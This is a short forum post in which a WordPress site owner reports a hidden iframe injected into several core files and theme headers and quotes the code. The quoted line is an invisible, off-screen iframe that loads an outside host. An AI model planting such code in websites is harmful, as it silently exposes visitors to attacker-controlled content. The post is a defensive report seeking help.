New 'hacking' attempt and codes?

Hello,

Today I have noticed some ‘weird’ lines of codes in some of my installs:

The affected files are the following:
readme.html
wp-links-opml.php
wp-login.php
… all these in root.

In the theme folder (folders, if you have more themes), the header.php has the same code in it.

Here’s the code:

<iframe frameBorder=”0″ src=”https://79041018.naka.crctvn.org/counter/api/&#8221; style=”width:40px;height:40px;overflow:hidden;position:absolute;left:-40px;top:0;opacity:0″></iframe>

It really seems weird to me and I don’t recall having a plugin installed that would put this.

I have cleaned all the installations, but thought I should show you this, maybe you have more ideas/experience with it.